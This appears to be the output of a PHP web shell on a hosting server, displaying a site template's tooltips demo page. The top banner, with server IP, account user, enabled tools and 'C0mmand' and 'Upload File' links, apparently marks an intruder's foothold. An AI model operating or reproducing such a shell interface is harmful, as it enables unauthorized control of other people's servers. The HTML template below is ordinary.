|
Server IP : 185.61.154.36 / Your IP : 216.73.216.106 Web Server : Apache System : Linux host67.registrar-servers.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64 User : gettoplisting ( 12043) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/gettoplisting/yedek/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<!--[if lt IE 7]><html dir="ltr" lang="en-US" class="ie6"><![endif]-->
<!--[if IE 7]><html dir="ltr" lang="en-US" class="ie7"><![endif]-->
<!--[if IE 8]><html dir="ltr" lang="en-US" class="ie8"><![endif]-->
<!--[if gt IE 8]><!--><html dir="ltr" lang="en-US"><!--<![endif]-->
<head>
<meta content="text/html;charset=utf-8" http-equiv="content-type" />
<meta name="description" content="cmsmasters responsive html5 website template" />
<meta name="keywords" content="html5, css3, template, responsive, adaptive" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
<link rel="shortcut icon" href="images/favicon.ico" type="image/x-icon" />
<link rel="stylesheet" href="css/style.css" type="text/css" media="screen" />
<link rel="stylesheet" href="css/styles/fonts.css" type="text/css" media="screen" />
<link rel="stylesheet" href="http://fonts.googleapis.com/css?family=Droid+Serif:regular,italic,bold,bolditalic" type="text/css" />
<link rel="stylesheet" href="http://fonts.googleapis.com/css?family=Crete+Round:400,400italic" type="text/css">
<link rel="stylesheet" href="css/styles/jquery.prettyPhoto.css" type="text/css" media="screen" />
<!--[if lt IE 9]>
<link rel="stylesheet" href="css/styles/ie.css" type="text/css" />
<link rel="stylesheet" href="css/styles/ie_css3.css" type="text/css" media="screen" />
<![endif]-->
<script src="js/modernizr.custom.all.js" type="text/javascript"></script>
<script src="js/css3MediaQueries.js" type="text/javascript"></script>
<script src="js/jquery.min.js" type="text/javascript"></script>
<script src="js/jquery.easing.js" type="text/javascript"></script>
<title>Expresso - Responsive HTML5 Site Template</title>
</head>
<body>
<!-- __________________________________________________ Start Page -->
<section id="page">
<a href="#" id="slide_top"></a><!-- __________________________________________________ Start Header -->
<header id="header">
<div class="header">
<a class="logo" href="index.html"><img src="images/logo.png" alt="" /></a>
<a class="resp_navigation" href="javascript:void(0);"><span><span></span></span></a>
<nav>
<ul id="navigation">
<li class="current_page_item"><a href="index.html"><span>Home<span>Innovate</span></span></a>
<ul>
</ul>
</li>
<li><a href="javascript:void(0);"><span>Services<span>Smart Technology</span></span></a>
<ul>
<li><a href="creative-design.html"><span>Creative Design</span></a>
</li>
<li><a href="bespoke-development.html"><span>Bespoke Development</span></a></li>
<li><a href="web-development-service.html"><span>Web Development Service</span></a></li>
<li><a href="facebook-apps-development.html"><span>Facebook Apps Development</span></a></li>
<li><a href="game-development.html"><span>Game Development</span></a>
<!-- <li><a href="javascript:void(0);"><span>Game Development</span></a>
<!-- <ul>
<li><a href="facebook-game-development.html"><span>Facebook Game Development</span></a></li>
<li><a href="iphone-ipad-game-development.html"><span>iPhone/iPad Game Development</span></a></li>
<li><a href="android-game-development.html"><span>Android Game Development</span></a></li>
<li><a href="web-game-development.html"><span>Web Game Development</span></a></li>
</ul>-->
</li>
<li><a href="project-management.html"><span>Project Management</span></a></li>
</li>
</ul>
</li>
<li><a href="javascript:void(0);"><span>Mobile Applications<span>iOS - Android - Bada</span></span></a>
<ul>
<li><a href="e-commerce-development.html"><span>E-Commerce Apps Development</span></a></li>
<li><a href="iPhone-apps-development.html"><span>iPhone Apps Development</span></a></li>
<li><a href="android-apps-development.html"><span>Android App Development</span></a></li>
<li><a href="html-5-hybrid--apps-development.html"><span>HTML5 hybrid App Development</span></a></li>
</ul>
</li>
</li>
<li><a href="javascript:void(0);"><span>Internet Marketing<span>SEO and SEM</span></span></a>
<ul>
<li><a href="mobile-search-engine-optimization.html"><span>Mobile Search Engine Optimization</span></a><li> <li><a href="mobile-search-engine-marketing.html"><span>Mobile Search Engine Marketing</span></a></li>
</ul>
<li><a href="contacts.html"><span>Contacts<span>Get in touch</span></span></a></li>
<li><a href="about.html"><span>About us<span>Who we are</span></span></a></li>
</ul>
</nav>
</div>
</header>
<!-- __________________________________________________ Finish Header -->
<!-- __________________________________________________ Start Middle -->
<div class="container">
<div class="cont_nav">
<a href="index.html">Home</a> / <a href="shortcodes.html">Features</a> / <a href="shortcodes.html">Shortcodes</a> / Tooltips
</div>
<section id="middle">
<div class="middle_inner">
<section id="top_sidebar">
<div class="headline">
<h4>Tooltips</h4>
</div>
</section>
<!-- __________________________________________________ Start Content -->
<div class="content_wrap">
<section id="content">
<div class="entry">
<h3>Standard Tooltip Settings</h3>
<br />
<p><a href="#" id="tooltip_0" title="Standard Tooltip Text">Standard Tooltip</a></p>
<script type="text/javascript">
jQuery(document).ready(function(){
jQuery('#tooltip_0').tooltip({offset:[45, 0]});
});
</script>
<br />
<h3>Expresso Tooltip Settings</h3>
<br />
<p><a href="#" class="link_tooltip marker_left" title="Expresso Tooltip Text">Expresso Tooltip</a></p>
<br />
<h3>Tooltips With Custom Positions</h3>
<br />
<p><a href="#" id="tooltip_1" title="Right Tooltip Position Text" class="fl"><img src="images/img/animal.png" alt="" class="no_border" /></a></p>
<script type="text/javascript">
jQuery(document).ready(function(){
jQuery('#tooltip_1').tooltip({position:'right'});
});
</script>
<div class="cl"></div>
<br />
<p><a href="#" id="tooltip_2" class="button_medium" title="Bottom Right Tooltip Position Text"><span>Buy Now</span></a></p>
<script type="text/javascript">
jQuery(document).ready(function(){
jQuery('#tooltip_2').tooltip({position:'bottom right'});
});
</script>
<div class="cl"></div>
<br />
<h3>Tooltip With Custom Effect</h3>
<br />
<p><a href="#" id="tooltip_3" title="Tooltip With Slide Effect Text">Tooltip With Slide Effect</a></p>
<script type="text/javascript">
jQuery(document).ready(function(){
jQuery('#tooltip_3').tooltip({effect:'slide', direction:'down', offset:[-20, 0], slideOffset:15, slideInSpeed:300, slideOutSpeed:300, position:'top center'});
});
</script>
<p><a href="#" id="tooltip_4" title="Tooltip With Slide Fade Text">Tooltip With Fade Effect</a></p>
<script type="text/javascript">
jQuery(document).ready(function(){
jQuery('#tooltip_4').tooltip({effect:'fade', offset:[45, 0]});
});
</script>
</div>
</section>
<!-- __________________________________________________ Finish Content -->
<!-- __________________________________________________ Start Sidebar -->
<section id="sidebar">
<div class="sidebar_inner">
<div class="one_first">
<aside class="widget widget_text">
<h3 class="widgettitle">What we do</h3>
<p>Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p>
<p>Pellentesque tristique volutpat nunc, id rhoncus augue tristique sed. In at nisln ulla, et vestibulum risus. Fermentum in eros. Nulla sed magna dui. et vestibulum risus. Fermentum in eros. Nulla sed magna dui. Maecenas sollicitudin pulvinar</p>
<a href="#" class="button"><span>Learn More</span></a>
</aside>
</div>
<div class="cl"></div>
<div class="divider"></div>
<div class="one_first">
<aside class="widget widget_custom_flickr_entries">
<h3 class="widgettitle">Flickr</h3>
<ul id="flickr_images"></ul>
<script type="text/javascript">
jQuery(document).ready(function(){
jQuery('#flickr_images').jflickrfeed({
limit: 6,
qstrings: {
id: '49053047@N04'
},
itemTemplate: '<li><a href="{{image_b}}"><img src="{{image_s}}" alt="{{title}}" /></a></li>'
});
});
</script>
</aside>
</div>
<div class="cl"></div>
<div class="divider"></div>
<div class="one_first">
<aside class="widget widget_custom_advertising_entries">
<h3 class="widgettitle">Advertising</h3>
<ul>
<li><a href="#"><img src="images/img/advertising_img_1.jpg" alt="" /></a></li>
<li><a href="#"><img src="images/img/advertising_img_2.jpg" alt="" /></a></li>
<li><a href="#"><img src="images/img/advertising_img_3.jpg" alt="" /></a></li>
<li><a href="#"><img src="images/img/advertising_img_4.jpg" alt="" /></a></li>
</ul>
</aside>
</div>
<div class="cl"></div>
</div>
</section>
<!-- __________________________________________________ Finish Sidebar -->
</div>
</div>
</section>
<!-- __________________________________________________ Finish Middle -->
<!-- __________________________________________________ Start Bottom -->
<section id="bottom">
<div class="bottom_inner">
<div class="one_fourth">
<aside class="widget widget_custom_portfolio_entries">
<script type="text/javascript">
jQuery(document).ready(function () {
jQuery('.widget_custom_portfolio_entries_slides').cmsmsResponsiveContentSlider( {
sliderWidth : '100%',
sliderHeight : 'auto',
animationSpeed : 500,
animationEffect : 'slide',
animationEasing : 'easeInOutExpo',
pauseTime : 5000,
activeSlide : 1,
touchControls : true,
pauseOnHover : false,
arrowNavigation : false,
slidesNavigation : true
} );
} );
</script>
<div class="widget_custom_portfolio_entries_container bottom_content_slider">
<h4 class="widgettitle">Sliding article</h4>
<ul class="widget_custom_portfolio_entries_slides responsiveContentSlider">
<li>
<figure>
<img src="images/img/sliding_1.jpg" alt="" class="fullwidth" />
</figure>
<a href="#" class="widget_portfolio_link">Semper nunc metus</a>
<p>Pellentesque tristique volutpat nunc, id rhoncus augue tristique </p>
<br>
</li>
<li>
<figure>
<img src="images/img/sliding_2.jpg" alt="" class="fullwidth" />
</figure>
<a href="#" class="widget_portfolio_link">Semper nunc metus</a>
<p>Pellentesque tristique volutpat nunc, id rhoncus augue tristique </p>
<br>
</li>
<li>
<figure>
<img src="images/img/sliding_3.jpg" alt="" class="fullwidth" />
</figure>
<a href="#" class="widget_portfolio_link">Semper nunc metus</a>
<p>Pellentesque tristique volutpat nunc, id rhoncus augue tristique </p>
<br>
</li>
</ul>
</div>
</aside>
</div>
<div class="one_fourth">
<aside class="widget widget_custom_tweets_entries">
<h4 class="widgettitle">Twitter</h4>
<div id="tweetFeed"></div>
<script type="text/javascript">
jQuery(document).ready(function(){
jQuery('#tweetFeed').jTweetsAnywhere({
username: 'cmsmasters',
count: 2,
showTweetFeed : {
showTwitterBird: false
}
});
});
</script>
</aside>
</div>
<div class="one_fourth">
<aside class="widget widget_links">
<h4 class="widgettitle">List widget</h4>
<ul>
<li><a href="#">Styling options</a></li>
<li><a href="#">Theme options</a></li>
<li><a href="#">Sidebars & widgets</a></li>
<li><a href="#">Shortcodes</a></li>
<li><a href="#">Blogs & posts</a></li>
<li><a href="#">Sliders & slides</a></li>
<li><a href="#">Contact form builder</a></li>
<li><a href="#">Demo content</a></li>
<li><a href="#">Gallery & albums</a></li>
<li><a href="#">Page options</a></li>
</ul>
</aside>
</div>
<div class="one_fourth">
<aside class="widget widget_custom_contact_form_entries">
<h4 class="widgettitle">Quick contacts</h4>
<div class="cmsms-form-builder">
<div class="widgetinfo">Thank you! <br />Your message has been sent successfully.</div>
<script type="text/javascript">
jQuery(document).ready(function () {
jQuery('#form_contact_form_widget_001').validationEngine('init');
jQuery('#form_contact_form_widget_001 a#contact_form_widget_001_wformsend').click(function () {
var form_builder_url = jQuery('#contact_form_widget_001_wurl').val();
jQuery('#form_contact_form_widget_001 .loading').animate( {
opacity : 1
} , 250);
if (jQuery('#form_contact_form_widget_001').validationEngine('validate')) {
jQuery.post(form_builder_url, {
field_002 : jQuery('#field_002').val(),
field_004 : jQuery('#field_004').val(),
formname : 'contact_form_widget_001',
formtype : 'widget'
}, function () {
jQuery('#form_contact_form_widget_001 .loading').animate( { opacity : 0 }, 250);
document.getElementById('form_contact_form_widget_001').reset();
jQuery('#form_contact_form_widget_001').parent().find('.widgetinfo').hide();
jQuery('#form_contact_form_widget_001').parent().find('.widgetinfo').fadeIn('fast');
jQuery('html, body').animate( { scrollTop : (jQuery('#form_contact_form_widget_001').offset().top - 100) }, 'slow');
jQuery('#form_contact_form_widget_001').parent().find('.widgetinfo').delay(5000).fadeOut(1000);
} );
return false;
} else {
jQuery('#form_contact_form_widget_001 .loading').animate( { opacity : 0 }, 250);
return false;
}
} );
} );
</script>
<form action="#" method="post" id="form_contact_form_widget_001">
<div class="form_info cmsms_input">
<label for="field_002">Your email<span class="color_3"> *</span></label>
<input type="text" name="wname" id="field_002" size="22" tabindex="11" class="validate[required,custom[email]]" />
</div>
<div class="form_info cmsms_textarea">
<label for="field_004">Message<span class="color_3"> *</span></label>
<textarea name="wmessage" id="field_004" cols="28" rows="6" tabindex="13" class="validate[required,minSize[3]]"></textarea>
</div>
<div class="fr"><a href="#" id="contact_form_widget_001_wformsend" class="button" tabindex="14"><span>Submit</span></a></div>
<div class="loading"></div>
<div><input type="hidden" name="contact_form_widget_001_wurl" id="contact_form_widget_001_wurl" value="http://your-site.net/php/sendmail.php" /></div><!-- Here you need to set the path to the sendmail file -->
</form>
</div>
</aside>
</div>
</div>
</section>
<!-- __________________________________________________ Finish Bottom -->
</div>
</section>
<!-- __________________________________________________ Finish Page -->
<!-- __________________________________________________ Start Footer -->
<footer id="footer">
<div class="footer_inner">
<div class="fr">
<p class="fl">Find us elsewhere</p>
<ul class="social_list fr">
<li><a href="#" class="link_tooltip" title="Facebook"><img src="images/socicons/facebook.png" alt="" /></a></li>
<li><a href="#" class="link_tooltip" title="Flickr"><img src="images/socicons/flickr.png" alt="" /></a></li>
<li><a href="#" class="link_tooltip" title="Twitter"><img src="images/socicons/twitter.png" alt="" /></a></li>
<li><a href="#" class="link_tooltip" title="Last fm"><img src="images/socicons/lastfm.png" alt="" /></a></li>
<li><a href="#" class="link_tooltip" title="Vimeo"><img src="images/socicons/vimeo.png" alt="" /></a></li>
<li><a href="#" class="link_tooltip" title="Google+"><img src="images/socicons/googleplus.png" alt="" /></a></li>
</ul>
</div>
<span>Expresso © 2012 All rights reserved</span>
<div class="cl"></div>
</div>
</footer>
<!-- __________________________________________________ Finish Footer -->
<script src="js/jquery.prettyPhoto.js" type="text/javascript"></script>
<script src="js/jquery.script.js" type="text/javascript"></script>
<script src="js/jquery.validationEngine.js" type="text/javascript"></script>
<script src="js/jquery.validationEngine-lang.js" type="text/javascript"></script>
<script src="js/jquery.jtweetsanywhere.js" type="text/javascript"></script>
<script src="js/jquery.flickrfeed.min.js" type="text/javascript"></script>
</body>
</html>